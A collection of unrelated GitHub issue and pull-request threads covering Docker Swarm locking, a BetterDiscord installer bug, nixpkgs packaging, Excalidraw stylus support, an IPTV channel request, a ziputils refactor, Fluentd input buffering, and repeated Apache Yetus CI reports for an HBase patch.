defer RUnlock in swarm/cluster#Pull()

I'm not sure about the correctness of this one. Actually the Pull mutates the nodes' states as well, so I'm not sure if this should be a reader lock either. Any ideas @vieux ?
Signed-off-by: Ahmet Alp Balkan

The nodes independently maintain their own locks so we don't need to lock access when they are being mutated.
What we want to lock in the cluster is access to the list of nodes itself (c.engines).
The problem with this PR is that by deferring the lock release after wg.Wait(), then the entire cluster stays RLocked for the entire pull duration, which is very long, causing lock contention issues.

Got it now, thanks Andrea.


Repairing BetterDiscord deletes all of my plugins and themes

Describe the bug
The new installer deletes all my plugins and themes.
To Reproduce
Steps to reproduce the behavior:

Repair BetterDiscord using the new installer
Go to themes/plugins
See error

Expected behavior
My themes and plugins should stay.
Screenshots
If applicable, add screenshots to help explain your problem.
System Information:

OS: MacOS 11.2
Discord Version: Stable

After searching with Time Machine, it seems that the plugins and themes used to be stored in a different directory. I still think that the installer could copy themes and plugins over.

What if you're having issues because of a specific plugin or theme? A reinstall would not fix that so I'm guessing this is an intended feature.

What if you're having issues because of a specific plugin or theme? A reinstall would not fix that so I'm guessing this is an intended feature.

A reinstall could disable all themes and plugins maybe, but not delete them. At least include a warning if it's intended.

After searching with Time Machine, it seems that the plugins and themes used to be stored in a different directory. I still think that the installer could copy themes and plugins over.

This is a good idea, and you are correct that BD now uses a different directory on macOS. This might be something we include in future releases of the installer, but we needed to get the initial beta test out due to time constraints. Also something to note is that this only affects mac installations.

After searching with Time Machine, it seems that the plugins and themes used to be stored in a different directory. I still think that the installer could copy themes and plugins over.

This is a good idea, and you are correct that BD now uses a different directory on macOS. This might be something we include in future releases of the installer, but we needed to get the initial beta test out due to time constraints. Also something to note is that this only affects mac installations.

I would like a warning or a note included so that users can at least attempt to transfer the files themselves.

I had the same issue; luckily I was able to get all of my plugins and themes back due to a backup I had but if you didn't have one it doesn't seem like you can retrieve them.

I have my themes and stuff still, but there is now no places to adjust themes and the plugins now for me.

I had the same issue; luckily I was able to get all of my plugins and themes back due to a backup I had but if you didn't have one it doesn't seem like you can retrieve them.

Neither the installer nor BD will overwrite or delete the ones in the old location, so they should still exist.
Going to use this issue to track renaming Mac dir


python3Packages.mongomock: init at 3.23.0

Motivation for this change
add mongomock, which is nedded by #155212
Note: This depends on #155418
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

@ofborg eval

This is a semi-automatic executed nixpkgs-review with nixpkgs-review-checks extension. It is checked by a human on a best effort basis and does not build all packages (e.g. lumo, tensorflow or pytorch).
Result of nixpkgs-review pr 155419 run on x86_64-linux 1

2 packages built:

python310Packages.mongomock
python39Packages.mongomock


Code??

I am very interested in this paper. When will the code be published?

Sorry, I will be updating the repo this week.

Sorry, I will be updating the repo this week.

Great work with excellent performance on two datasets. Looking forward to your code release.

Thank you very much for your interest in our work. I just uploaded the model implementation and evaluation script.


time zone is not saved

my time zone
Argentina/Buenos Aires
the system returns me to Abidjan.
:s

should be fixed


Add stacked variant for multiselect forms

Is your feature request related to a specific problem?
https://github.com/ethyca/fides/pull/2542 added inline and stacked variants for most of our form inputs, but didn't do multiselect because I got tired
Describe the solution you'd like
Implement for multiselect, which we'll need for https://github.com/ethyca/fidesplus/issues/598

Describe alternatives you've considered, if any
A description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

Actually I'm just realizing this isn't needed for https://github.com/ethyca/fidesplus/issues/598 since it's actually the creatable multiselect that needs this, which the privacy declarations don't use. but it'd still be good to do


Apple Pencil and Galaxy Note Stylus support

These two features would go a long way to making Excalidraw pen friendly:

To add points to a line, currently only possible with a keyboard.
Palm rejection when pen is active.

Adding points to the line has a workaround. Thanks @dwelle!

I also disabled the "Scribble" feature on the iPad as recommended by @steveruizok
Palm rejection would still be very useful.
Palm rejection would still be very needed.

Palm rejection for iPad should be easy enough to implement since Safari supports the touchEvent.touchType 'direct' and 'stylus' respectively.
I guess the question is how do know when to flip into the mode where direct touch events should be rejected or treated as zoom/pan. Is there a special button for this, or do we assume that after at least one Touch Event with stylus type?
But then touch input would be broken if someone where to put the pencil down.
One workaround would be to only show a button that disables pen input once it's been auto-enabled. I don't think there's another way.

Additional requirements by @slimhk45 (Obsidian issue #314):
Currently when we are drawing we are stuck to the view we set in and need to change the tool to be able to move it. It would be better to be able to use the finger for moving the canvas view and a stylus to write.

@davidsu I think instead of trying to satisfy every browser and every pen, it would be probably easier to break the work into smaller chunks. Work could be broken down to at least 5 separate PRs:

[ ] support Apple Pencil on Safari
[ ] support Android styluses in Chromium
[ ] support Android Styluses in Firefox
[ ] differentiate using finger to move the canvas vs writing with stylus
[ ] support variable brush stroke width from the pressure information

@niieani @davidsu I'm not sure we can implement a solid palm rejection in a cross-browser cross-device way. At least I don't know of any app that does it well (Figma/Figjam tries, but falls short).
@davidsu I've tried excalidraw-davidsu.surge.sh but it doesn't seem to allow drawing at all?
I think the way to go right now is implement a pen mode: https://github.com/excalidraw/excalidraw/issues/4202

I'm closing this via #4532  (https://twitter.com/excalidraw/status/1488884968243740674)
If we want to either improve or implement a better palm rejection, let's create new issue(s) for that.


Markdown Block

About to start work on a custom block that parses Markdown.
A little surprised no one has not done this yet???

@brad-jones I actually have something like this in a separate extension never pushed because quick&dirty :)
I can only suggest to work it a separate extension as well... it would be part of https://github.com/FoilPHP organization, but not part of Foil.
Reason is I don't want to add more dependencies (Markdown parser would be a dependency) to the main package.

it would be part of https://github.com/FoilPHP organization, but not part of Foil

+1.


Add: TV Meio Norte

Channel Name
TV Meio Norte
Alternative Names (optional)
No response
Network (optional)
No response
Owners (optional)
No response
Country
BR
Subdivision (optional)
No response
City (optional)
Teresina
Broadcast Area
c/BR
Languages
por
Categories (optional)
general
NSFW
FALSE
Launched (optional)
No response
Closed (optional)
No response
Replaced By (optional)
No response
Website (optional)
https://www.meionorte.com/
Logo
https://www.meionorte.com/assets/portalmn/logo.svg
Notes
https://player-api.new.livestream.com/accounts/3332377/events/10857483/broadcasts/236327562.secure.m3u8?dw=14400&hdnea=st%3D1684979560~exp%3D1684981360~acl%3D%2Fi%2F3332377_10857483_lsirlv0gfpm5aicaa80_1%40407569%2F*~hmac%3Dc1e640f5ba78200a9718cac8b9c915759816fd844253ca98825ed7afef9ca918&token=646ec094_20db34c9719901f10f4edf0e0cc4cf8a3e8b2382

Please update your request:

logo must be in JPEG or PNG format

https://github.com/iptv-org/database/blob/master/CONTRIBUTING.md#channels


Refactor ziputils

refactor ziputils into ziputils and enigmaxml libraries
refactor both to use client library for managing dependencies like luaosutils
refactor PowerShell commands to work with io.popen as well as luaosutils.process.execute
PowerShell script for calc_gunzip_command now returns raw decompressed bytes in stdout.
other minor changes as part of refactor

I wonder is the reason "%s" works now (and & { %s } doesn't) is because all the commands are on a single line now. (This is to accommodate io.popen which apparently doesn't work with embedded newlines.)

I don't think that's the issue, but I'll try some tests later, just for my own edification.

FWIW: When I change it to & { %s }, the command emits the powershell help page.

It works the same irrespective of calling luaosutils or io.popen. That is, the current version works and the & { %s } version emits the help page.


Buffered input plugins

Input plugins may emit events one-by-one (for example, in_exec), but it degrades total performance of Fluentd event routing.
If we can support buffer plugins in input plugins, it can improve performance with users' configurations for such cases.
It may be implemented as:

an extended API (method) for existing input plugin class (if plugin implements it, input plugin can work with buffer)
a plugin helper (or a new method of event emitter plugin helper)

Output plugin supports both of buffered and non-buffered way. So Input plugin SHOULD support both too.

+1;
"input plugin can work with buffer","new method of event emitter plugin helper"
It might be useful,To count throughput.
https://github.com/fluent/fluentd/issues/1424


_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

_ master Compile Tests _

+1 :green_heart:
mvninstall
3m 52s
master passed

+1 :green_heart:
compile
0m 47s
master passed

+1 :green_heart:
checkstyle
0m 19s
master passed

+1 :green_heart:
spotbugs
0m 45s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
3m 31s
the patch passed

+1 :green_heart:
compile
0m 46s
the patch passed

+1 :green_heart:
javac
0m 47s
the patch passed

-0 :warning:
checkstyle
0m 18s
hbase-mapreduce: The patch generated 2 new + 0 unchanged - 0 fixed = 2 total (was 0)

+1 :green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

+1 :green_heart:
hadoopcheck
17m 26s
Patch does not cause any errors with Hadoop 3.1.2 3.2.1 3.3.0.

-1 :x:
spotbugs
0m 56s
hbase-mapreduce generated 1 new + 0 unchanged - 0 fixed = 1 total (was 0)

_ Other Tests _

+1 :green_heart:
asflicense
0m 14s
The patch does not generate ASF License warnings.

42m 49s

Reason
Tests

FindBugs
module:hbase-mapreduce

org.apache.hadoop.hbase.mapreduce.RoundRobinTableInputFormat.getSplits(JobContext) makes inefficient use of keySet iterator instead of entrySet iterator  At RoundRobinTableInputFormat.java:keySet iterator instead of entrySet iterator  At RoundRobinTableInputFormat.java:[line 67]

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/1/artifact/yetus-general-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2947

Optional Tests
dupname asflicense javac spotbugs hadoopcheck hbaseanti checkstyle compile

uname
Linux aa79293659ab 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 3e743df6d0

Default Java
AdoptOpenJDK-1.8.0_232-b09

checkstyle
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/1/artifact/yetus-general-check/output/diff-checkstyle-hbase-mapreduce.txt

spotbugs
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/1/artifact/yetus-general-check/output/new-spotbugs-hbase-mapreduce.html

Max. process+thread count
96 (vs. ulimit of 30000)

modules
C: hbase-mapreduce U: hbase-mapreduce

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/1/console

versions
git=2.17.1 maven=3.6.3 spotbugs=3.1.12

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

Asked over https://gist.github.com/sudhir-reddy/4eb430d4be9f9f404c38 for review/if ok.

@saintstack please feel free to merge this to mainstream. I should had contributed that to main repo long time back!

Thank you for the permission @sudhir-reddy . Thanks for the contrib. Let me assign it to you in JIRA. The blog was helpful too.

Added a main so I could run it against the problem hbase:meta to see results

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m 29s
Docker mode activated.

-0 :warning:
yetus
0m  3s
Unprocessed flag(s): --brief-report-file --spotbugs-strict-precheck --whitespace-eol-ignore-list --whitespace-tabs-ignore-list --quick-hadoopcheck

_ Prechecks _

_ master Compile Tests _

+1 :green_heart:
mvninstall
4m 43s
master passed

+1 :green_heart:
compile
0m 30s
master passed

+1 :green_heart:
shadedjars
6m 58s
branch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 24s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
4m  6s
the patch passed

+1 :green_heart:
compile
0m 28s
the patch passed

+1 :green_heart:
javac
0m 28s
the patch passed

+1 :green_heart:
shadedjars
6m 37s
patch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 21s
the patch passed

_ Other Tests _

-1 :x:
unit
0m 50s
hbase-mapreduce in the patch failed.

26m 36s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/artifact/yetus-jdk11-hadoop3-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2947

Optional Tests
javac javadoc unit shadedjars compile

uname
Linux d0035b5a5236 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 3e743df6d0

Default Java
AdoptOpenJDK-11.0.6+10

unit
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/artifact/yetus-jdk11-hadoop3-check/output/patch-unit-hbase-mapreduce.txt

Test Results
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/testReport/

Max. process+thread count
268 (vs. ulimit of 30000)

modules
C: hbase-mapreduce U: hbase-mapreduce

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/console

versions
git=2.17.1 maven=3.6.3

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
1m  4s
Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

_ master Compile Tests _

+1 :green_heart:
mvninstall
3m 26s
master passed

+1 :green_heart:
compile
0m 45s
master passed

+1 :green_heart:
checkstyle
0m 18s
master passed

+1 :green_heart:
spotbugs
0m 41s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
3m 25s
the patch passed

+1 :green_heart:
compile
0m 46s
the patch passed

+1 :green_heart:
javac
0m 46s
the patch passed

-0 :warning:
checkstyle
0m 18s
hbase-mapreduce: The patch generated 11 new + 0 unchanged - 0 fixed = 11 total (was 0)

+1 :green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

+1 :green_heart:
hadoopcheck
17m  4s
Patch does not cause any errors with Hadoop 3.1.2 3.2.1 3.3.0.

-1 :x:
spotbugs
0m 55s
hbase-mapreduce generated 1 new + 0 unchanged - 0 fixed = 1 total (was 0)

_ Other Tests _

+1 :green_heart:
asflicense
0m 13s
The patch does not generate ASF License warnings.

36m 13s

Reason
Tests

FindBugs
module:hbase-mapreduce

org.apache.hadoop.hbase.mapreduce.RoundRobinTableInputFormat.getSplits(JobContext) makes inefficient use of keySet iterator instead of entrySet iterator  At RoundRobinTableInputFormat.java:keySet iterator instead of entrySet iterator  At RoundRobinTableInputFormat.java:[line 81]

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/artifact/yetus-general-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2947

Optional Tests
dupname asflicense javac spotbugs hadoopcheck hbaseanti checkstyle compile

uname
Linux 9551186b82e4 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 3e743df6d0

Default Java
AdoptOpenJDK-1.8.0_232-b09

checkstyle
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/artifact/yetus-general-check/output/diff-checkstyle-hbase-mapreduce.txt

spotbugs
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/artifact/yetus-general-check/output/new-spotbugs-hbase-mapreduce.html

Max. process+thread count
95 (vs. ulimit of 30000)

modules
C: hbase-mapreduce U: hbase-mapreduce

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/console

versions
git=2.17.1 maven=3.6.3 spotbugs=3.1.12

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
3m 40s
Docker mode activated.

-0 :warning:
yetus
0m  3s
Unprocessed flag(s): --brief-report-file --spotbugs-strict-precheck --whitespace-eol-ignore-list --whitespace-tabs-ignore-list --quick-hadoopcheck

_ Prechecks _

_ master Compile Tests _

+1 :green_heart:
mvninstall
5m 37s
master passed

+1 :green_heart:
compile
0m 30s
master passed

+1 :green_heart:
shadedjars
9m 41s
branch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 28s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
5m 21s
the patch passed

+1 :green_heart:
compile
0m 35s
the patch passed

+1 :green_heart:
javac
0m 35s
the patch passed

+1 :green_heart:
shadedjars
9m 13s
patch has no errors when building our shaded downstream artifacts.

-0 :warning:
javadoc
0m 26s
hbase-mapreduce generated 17 new + 0 unchanged - 0 fixed = 17 total (was 0)

_ Other Tests _

-1 :x:
unit
1m 16s
hbase-mapreduce in the patch failed.

38m  9s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/artifact/yetus-jdk8-hadoop3-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2947

Optional Tests
javac javadoc unit shadedjars compile

uname
Linux 04582bec1191 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 3e743df6d0

Default Java
AdoptOpenJDK-1.8.0_232-b09

javadoc
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/artifact/yetus-jdk8-hadoop3-check/output/diff-javadoc-javadoc-hbase-mapreduce.txt

unit
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/artifact/yetus-jdk8-hadoop3-check/output/patch-unit-hbase-mapreduce.txt

Test Results
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/testReport/

Max. process+thread count
216 (vs. ulimit of 30000)

modules
C: hbase-mapreduce U: hbase-mapreduce

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/2/console

versions
git=2.17.1 maven=3.6.3

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

Will upload a new patch which includes a unitest.

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
3m 25s
the patch passed

+1 :green_heart:
compile
0m 25s
the patch passed

+1 :green_heart:
javac
0m 25s
the patch passed

+1 :green_heart:
shadedjars
6m 35s
patch has no errors when building our shaded downstream artifacts.

-0 :warning:
javadoc
0m 21s
hbase-mapreduce generated 17 new + 0 unchanged - 0 fixed = 17 total (was 0)

_ Other Tests _

-1 :x:
unit
0m 46s
hbase-mapreduce in the patch failed.

22m  4s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/artifact/yetus-jdk8-hadoop3-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2947

Optional Tests
javac javadoc unit shadedjars compile

uname
Linux 0b43032cca1c 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 1beda0d598

Default Java
AdoptOpenJDK-1.8.0_232-b09

mvninstall
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/artifact/yetus-jdk8-hadoop3-check/output/branch-mvninstall-root.txt

compile
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/artifact/yetus-jdk8-hadoop3-check/output/branch-compile-hbase-mapreduce.txt

javadoc
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/artifact/yetus-jdk8-hadoop3-check/output/branch-javadoc-hbase-mapreduce.txt

javadoc
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/artifact/yetus-jdk8-hadoop3-check/output/diff-javadoc-javadoc-hbase-mapreduce.txt

unit
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/artifact/yetus-jdk8-hadoop3-check/output/patch-unit-hbase-mapreduce.txt

Test Results
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/testReport/

Max. process+thread count
335 (vs. ulimit of 30000)

modules
C: hbase-mapreduce U: hbase-mapreduce

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/console

versions
git=2.17.1 maven=3.6.3

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m 30s
Docker mode activated.

-0 :warning:
yetus
0m  4s
Unprocessed flag(s): --brief-report-file --spotbugs-strict-precheck --whitespace-eol-ignore-list --whitespace-tabs-ignore-list --quick-hadoopcheck

_ Prechecks _

_ master Compile Tests _

+1 :green_heart:
mvninstall
3m 58s
master passed

+1 :green_heart:
compile
0m 28s
master passed

+1 :green_heart:
shadedjars
6m 39s
branch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 21s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
4m  9s
the patch passed

+1 :green_heart:
compile
0m 28s
the patch passed

+1 :green_heart:
javac
0m 28s
the patch passed

+1 :green_heart:
shadedjars
6m 36s
patch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 21s
the patch passed

_ Other Tests _

-1 :x:
unit
0m 50s
hbase-mapreduce in the patch failed.

25m 36s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/artifact/yetus-jdk11-hadoop3-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2947

Optional Tests
javac javadoc unit shadedjars compile

uname
Linux 89e28ca148f8 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 1beda0d598

Default Java
AdoptOpenJDK-11.0.6+10

unit
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/artifact/yetus-jdk11-hadoop3-check/output/patch-unit-hbase-mapreduce.txt

Test Results
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/testReport/

Max. process+thread count
263 (vs. ulimit of 30000)

modules
C: hbase-mapreduce U: hbase-mapreduce

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/console

versions
git=2.17.1 maven=3.6.3

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
1m  8s
Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

_ master Compile Tests _

+1 :green_heart:
mvninstall
3m 27s
master passed

+1 :green_heart:
compile
0m 49s
master passed

+1 :green_heart:
checkstyle
0m 18s
master passed

+1 :green_heart:
spotbugs
0m 40s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
3m 25s
the patch passed

+1 :green_heart:
compile
0m 46s
the patch passed

+1 :green_heart:
javac
0m 46s
the patch passed

-0 :warning:
checkstyle
0m 19s
hbase-mapreduce: The patch generated 15 new + 0 unchanged - 0 fixed = 15 total (was 0)

+1 :green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

+1 :green_heart:
hadoopcheck
17m 17s
Patch does not cause any errors with Hadoop 3.1.2 3.2.1 3.3.0.

-1 :x:
spotbugs
0m 51s
hbase-mapreduce generated 1 new + 0 unchanged - 0 fixed = 1 total (was 0)

_ Other Tests _

+1 :green_heart:
asflicense
0m 13s
The patch does not generate ASF License warnings.

36m 37s

Reason
Tests

FindBugs
module:hbase-mapreduce

org.apache.hadoop.hbase.mapreduce.RoundRobinTableInputFormat.roundRobin(List) makes inefficient use of keySet iterator instead of entrySet iterator  At RoundRobinTableInputFormat.java:keySet iterator instead of entrySet iterator  At RoundRobinTableInputFormat.java:[line 83]

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/artifact/yetus-general-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2947

Optional Tests
dupname asflicense javac spotbugs hadoopcheck hbaseanti checkstyle compile

uname
Linux 3430aca4c1fe 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 1beda0d598

Default Java
AdoptOpenJDK-1.8.0_232-b09

checkstyle
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/artifact/yetus-general-check/output/diff-checkstyle-hbase-mapreduce.txt

spotbugs
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/artifact/yetus-general-check/output/new-spotbugs-hbase-mapreduce.html

Max. process+thread count
96 (vs. ulimit of 30000)

modules
C: hbase-mapreduce U: hbase-mapreduce

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/4/console

versions
git=2.17.1 maven=3.6.3 spotbugs=3.1.12

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
1m  4s
Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

_ master Compile Tests _

+1 :green_heart:
mvninstall
3m 34s
master passed

+1 :green_heart:
compile
0m 46s
master passed

+1 :green_heart:
checkstyle
0m 18s
master passed

+1 :green_heart:
spotbugs
0m 42s
master passed

_ Patch Compile Tests _

-1 :x:
mvninstall
3m 15s
root in the patch failed.

-1 :x:
compile
0m 13s
hbase-mapreduce in the patch failed.

-0 :warning:
javac
0m 13s
hbase-mapreduce in the patch failed.

-0 :warning:
checkstyle
0m 16s
hbase-mapreduce: The patch generated 5 new + 0 unchanged - 0 fixed = 5 total (was 0)

-0 :warning:
whitespace
0m  0s
The patch has 1 line(s) that end in whitespace. Use git apply --whitespace=fix <<patch_file>>. Refer https://git-scm.com/docs/git-apply

-1 :x:
hadoopcheck
2m 14s
The patch causes 10 errors with Hadoop v3.1.2.

-1 :x:
hadoopcheck
4m 30s
The patch causes 10 errors with Hadoop v3.2.1.

-1 :x:
hadoopcheck
6m 54s
The patch causes 10 errors with Hadoop v3.3.0.

-1 :x:
spotbugs
0m 14s
hbase-mapreduce in the patch failed.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

_ master Compile Tests _

+1 :green_heart:
mvninstall
3m 26s
master passed

+1 :green_heart:
compile
0m 46s
master passed

+1 :green_heart:
checkstyle
0m 18s
master passed

+1 :green_heart:
spotbugs
0m 40s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
3m 24s
the patch passed

+1 :green_heart:
compile
0m 47s
the patch passed

+1 :green_heart:
javac
0m 47s
the patch passed

-0 :warning:
checkstyle
0m 18s
hbase-mapreduce: The patch generated 3 new + 0 unchanged - 0 fixed = 3 total (was 0)

-0 :warning:
whitespace
0m  0s
The patch has 1 line(s) that end in whitespace. Use git apply --whitespace=fix <<patch_file>>. Refer https://git-scm.com/docs/git-apply

+1 :green_heart:
hadoopcheck
17m 17s
Patch does not cause any errors with Hadoop 3.1.2 3.2.1 3.3.0.

-1 :x:
spotbugs
0m 54s
hbase-mapreduce generated 1 new + 0 unchanged - 0 fixed = 1 total (was 0)

_ Other Tests _

+1 :green_heart:
asflicense
0m 13s
The patch does not generate ASF License warnings.

36m 33s

Reason
Tests

FindBugs
module:hbase-mapreduce

